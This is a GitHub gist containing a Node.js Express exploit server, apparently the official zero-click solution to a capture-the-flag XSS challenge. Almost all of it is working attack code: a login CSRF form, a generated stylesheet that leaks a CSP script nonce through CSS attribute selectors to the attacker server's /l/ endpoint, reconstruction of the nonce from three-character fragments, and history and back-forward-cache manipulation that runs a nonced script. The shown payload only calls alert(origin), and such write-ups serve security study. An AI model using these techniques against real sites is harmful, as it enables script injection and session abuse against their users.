-
-
Save JorianWoltjer/5541a0109406102c0a24945fea5f2b2d to your computer and use it in GitHub Desktop.
https://greeting-chall.jorianwoltjer.com XSS challenge official solution (0 clicks)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const express = require('express'); | |
| const TARGET = "https://greeting-chall.jorianwoltjer.com"; | |
| const app = express(); | |
| app.set('trust proxy', true); | |
| const port = 8000; | |
| let leaks = []; | |
| let step = 0; | |
| function htmlEncode(str) { | |
| return str.replace(/&/g, '&') | |
| .replace(/</g, '<') | |
| .replace(/>/g, '>') | |
| .replace(/"/g, '"') | |
| .replace(/'/g, ''') | |
| } | |
| function login_csrf(name) { | |
| return ` | |
| <form action="${TARGET}/login" method="post"> | |
| <input type="hidden" name="name" value="${htmlEncode(name)}" /> | |
| </form> | |
| <script> | |
| document.forms[0].submit(); | |
| </script> | |
| `; | |
| } | |
| app.get('/', (req, res) => { | |
| step = 0; | |
| res.redirect("/exploit") | |
| }); | |
| app.get("/exploit", (req, res) => { | |
| const host = `${req.protocol}://${req.get('host')}`; | |
| // After every step that we send the vicitm to the target, a <meta> tag gets us back to this handler | |
| switch (++step) { | |
| case 1: | |
| // Leak nonce through CSS | |
| res.send(login_csrf(` | |
| <link rel="stylesheet" href="${host}/leak.css"> | |
| <meta http-equiv="refresh" content="2; url=${host}/exploit"> | |
| `)); | |
| break; | |
| case 2: | |
| // Send to page that will contain the nonce to leak (go back here at the end) | |
| res.redirect(`${TARGET}/dashboard?xss`); | |
| break; | |
| case 3: | |
| // Nonces should be leaked now, combine them and save working XSS payload | |
| let nonces; | |
| try { | |
| nonces = combine(leaks); | |
| } catch (e) { | |
| console.error("Error combining leaks:", e); | |
| return res.redirect("/"); // Try again | |
| } | |
| let html = nonces.map((nonce) => `<iframe srcdoc="<script nonce='${nonce}'>alert(origin)<\/script>"></iframe>`).join(""); | |
| html += `<meta http-equiv="refresh" content="1; url=${host}/exploit">`; | |
| res.send(login_csrf(html)); | |
| break; | |
| case 4: case 5: case 6: case 7: case 8: case 9: | |
| // Redirect 6+ times so that bfcache is filled up, falls back to Disk Cache | |
| // Small delay for chrome to not skip the navigations in its history | |
| res.send(` | |
| <script>setTimeout(() => {location = "/exploit?${step}"}, 100)</script> | |
| `); | |
| break; | |
| case 10: | |
| // Finally, go back to /dashboard?xss | |
| res.send(`<script>history.go(-7)</script>`); | |
| break; | |
| default: | |
| throw new Error(`No step ${step}`); | |
| } | |
| }); | |
| app.get('/leak.css', (req, res) => { | |
| const l = [..."abcdef0123456789"]; | |
| const strings = l.flatMap(a => l.flatMap(b => l.map(c => a + b + c))); | |
| const css = `\ | |
| *{display: block} | |
| ${strings.map(s => `script[nonce*="${s}"]{--${s}:url(/l/${s})}`).join('\n')} | |
| script { | |
| background: ${strings.map(s => `var(--${s},none)`).join(',')} | |
| } | |
| `; | |
| leaks = []; | |
| res.setHeader('Content-Type', 'text/css'); | |
| res.send(css); | |
| }); | |
| function mergeWords(arr, ending) { | |
| if (arr.length === 0) return ending | |
| if (!ending) { | |
| for (let i = 0; i < arr.length; i++) { | |
| let isFound = false | |
| for (let j = 0; j < arr.length; j++) { | |
| if (i === j) continue | |
| let suffix = arr[i][1] + arr[i][2] | |
| let prefix = arr[j][0] + arr[j][1] | |
| if (suffix === prefix) { | |
| isFound = true | |
| continue | |
| } | |
| } | |
| if (!isFound) { | |
| return mergeWords(arr.filter(item => item !== arr[i]), arr[i]) | |
| } | |
| } | |
| } | |
| let found = [] | |
| for (let i = 0; i < arr.length; i++) { | |
| let length = ending.length | |
| let suffix = ending[0] + ending[1] | |
| let prefix = arr[i][1] + arr[i][2] | |
| if (suffix === prefix) { | |
| found.push([arr.filter(item => item !== arr[i]), arr[i][0] + ending]) | |
| } | |
| } | |
| return found.map((item) => { | |
| return mergeWords(item[0], item[1]) | |
| }) | |
| } | |
| function combine(arr) { | |
| return mergeWords(arr, null).flat(99); | |
| } | |
| app.get('/l/:leak', (req, res) => { | |
| const leak = req.params.leak; | |
| console.log(`Leaked (${leaks.length + 1}): ${leak}`); | |
| leaks.push(leak); | |
| res.status(204).send(); | |
| }); | |
| app.listen(port, () => { | |
| console.log(`Listening at http://127.0.0.1:${port}`) | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment